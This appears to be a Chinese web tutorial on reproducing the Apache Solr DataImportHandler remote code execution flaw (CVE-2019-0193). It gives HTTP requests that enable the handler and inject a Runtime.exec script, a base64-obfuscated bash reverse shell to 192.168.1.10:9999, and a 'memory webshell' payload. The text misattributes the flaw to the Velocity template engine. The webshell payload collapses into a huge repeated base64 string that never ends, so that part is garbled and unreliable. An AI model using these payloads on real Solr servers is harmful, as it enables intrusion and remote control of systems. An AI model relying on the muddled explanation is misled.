温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

Apache Solr远程命令如何进行执行复现

发布时间:2021-11-11 16:55:05 来源:亿速云 阅读:246 作者:柒染 栏目:大数据
# Apache Solr远程命令执行漏洞复现分析 ## 漏洞背景 Apache Solr是一个基于Lucene构建的开源企业级搜索平台,广泛应用于各类需要全文检索功能的系统中。2019年10月,Apache Solr被曝出存在远程命令执行漏洞(CVE-2019-0193),攻击者可通过构造特定请求在目标服务器上执行任意命令。 ## 漏洞原理 该漏洞源于Solr的DataImportHandler功能模块。当开启`dataImport`功能时,攻击者可以通过DIH配置中的`dataConfig`参数注入恶意脚本,利用Solr的Velocity模板引擎实现远程代码执行。 关键点: 1. DataImportHandler默认不启用但可通过API开启 2. Velocity模板引擎允许执行Java代码 3. 未对用户输入的`dataConfig`参数做充分过滤 ## 环境搭建 ### 实验环境要求 - 操作系统:Linux/Windows - Java环境:JDK 1.8+ - 漏洞版本:Apache Solr 8.1.1(其他受影响版本:5.0.0-8.2.0) ### 安装步骤 ```bash # 下载漏洞版本Solr wget https://archive.apache.org/dist/lucene/solr/8.1.1/solr-8.1.1.tgz tar -xzf solr-8.1.1.tgz cd solr-8.1.1 # 启动Solr(默认端口8983) bin/solr start -e cloud -noprompt 

漏洞复现步骤

步骤1:创建测试核心

# 创建名为vuln的核心 bin/solr create_core -c vuln 

步骤2:启用DataImportHandler

发送以下HTTP请求开启DIH功能:

POST /solr/vuln/config HTTP/1.1 Host: target:8983 Content-Type: application/json { "add-requesthandler": { "name": "/dataimport", "class": "org.apache.solr.handler.dataimport.DataImportHandler", "defaults": {"config": null} } } 

步骤3:构造恶意请求

通过dataConfig参数注入Velocity模板代码:

POST /solr/vuln/dataimport?_=1625555555555 HTTP/1.1 Host: target:8983 Content-Type: application/x-www-form-urlencoded command=full-import&verbose=false&clean=false&commit=true&debug=true&core=vuln&name=dataimport&dataConfig= <dataConfig> <dataSource type="URLDataSource"/> <script><![CDATA[ java.lang.Runtime.getRuntime().exec("touch /tmp/solr_rce_test"); ]]></script> <document> <entity name="entity1" url="https://example.com" processor="XPathEntityProcessor" forEach="/RDF/item" transformer="script:"> </entity> </document> </dataConfig> 

步骤4:验证执行结果

检查目标服务器是否创建了测试文件:

ls -la /tmp/solr_rce_test 

漏洞利用进阶

反弹Shell示例

修改dataConfig中的命令为反弹Shell(需URL编码):

<![CDATA[ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"); ]]> 

内存马注入

通过Java反射机制注入内存Webshell: “`java <![CDATA[ java.lang.Class.forName(“javax.script.ScriptEngineManager”) .newInstance() .getEngineByName(“JavaScript”) .eval(“new java.lang.ProcessBuilder[‘(java.lang.String[])’]([‘/bin/bash’,‘-c’,‘echo PDw8PDw+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+PiA+

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI